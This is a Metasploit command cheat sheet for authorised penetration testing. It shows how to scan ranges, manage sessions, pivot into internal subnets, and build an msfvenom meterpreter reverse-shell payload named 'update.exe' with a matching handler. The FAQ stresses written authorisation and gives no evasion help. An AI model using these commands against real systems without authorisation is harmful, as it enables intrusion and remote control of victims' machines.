Command Reference
1. Start Console and Connect the Database
The database makes search and the hosts/services/sessions tables work; without it you are using a fraction of the tool.
sudo msfdb init && msfconsole -q
2. Search Modules by CVE, Platform or Keyword
Search across exploits, auxiliary, payloads and post modules at once.
msf> search cve:2024-3400
msf> search type:auxiliary platform:linux smb
3. Select a Module and Read It
info prints the description, the options and the references before you run anything.
msf> use exploit/linux/http/example
msf> info
4. Set Options and Check Before Running
check asks the target whether it looks vulnerable without firing the exploit; it is not implemented for every module.
msf> set RHOSTS 192.0.2.10
msf> set LHOST 192.0.2.10
msf> set LPORT 4444
msf> check
msf> run
5. Run Against Many Hosts
RHOSTS accepts a range, a CIDR block or a file of addresses.
msf> set RHOSTS 10.10.10.0/24
msf> set THREADS 10
msf> run
6. List and Interact With Sessions
Every opened session gets an id; interact with it or background it and keep scanning.
msf> sessions -l
msf> sessions -i 1
meterpreter> background
7. Route Traffic Through a Session
Turn a foothold into a pivot so other modules can reach an internal subnet.
msf> use post/multi/manage/autoroute
msf> set SESSION 1
msf> run
msf> setg RHOSTS 172.16.1.0/24
8. Generate a Payload With msfvenom
Choose the payload, the output format and the local address the payload will call back to.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.0.2.10 LPORT=443 -f exe -o update.exe
9. Start the Matching Handler
A payload needs something listening. multi/handler with the same payload and ports is the pairing.
msf> use exploit/multi/handler
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.0.2.10
msf> set LPORT 443
msf> run -j
10. Save and Reload Workspaces
Separate engagements into workspaces so hosts, loot and credentials do not mix.
msf> workspace -a client-a
msf> workspace
msf> db_import /path/to/nmap.xml
11. Pull the Loot Together
Hosts, services, credentials and loot collected during the session, ready for the report.
msf> hosts
msf> services
msf> creds
msf> loot
12. Quiet Batch Mode for One-Off Runs
-x runs a command string without an interactive console, which is what a scripted lab run wants.
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.0.2.10; run; exit"
Frequently Asked Questions
Why does my payload get blocked immediately?
Because a stock msfvenom binary is one of the most widely signatured files on the internet; every endpoint product has seen the default templates for years. That is a detection result, not an evasion puzzle - in an authorised test, report that the endpoint control works. Building your own loader is a different activity with a different scope.
Does check actually tell me the target is vulnerable?
Only sometimes. check is implemented per module and many simply do not have one; those that do often rely on a version banner, which backported patches make unreliable. Treat check as a hint and verify the finding another way before writing it up.
What is the difference between a staged and a stageless payload?
A staged payload (windows/x64/meterpreter/reverse_tcp) is a small stager that connects back and downloads the rest, so the initial file is tiny but needs a listener that can serve the second stage. A stageless payload (…/meterpreter_reverse_tcp) carries everything in one file, which is larger and behaves identically once it runs.
Why did my reverse shell never connect?
In order of frequency: LHOST was set to a private address the target cannot route to, the port was blocked outbound, the handler was not running or was on a different payload, or the target has no egress except through a proxy. Confirm the handler is listening locally before blaming the target.
Is running an exploit module lawful?
Only inside written authorisation that names the hosts and the techniques. Exploitation can crash a service, corrupt data or leave a system unusable, so an authorised test also includes agreeing what happens when that occurs.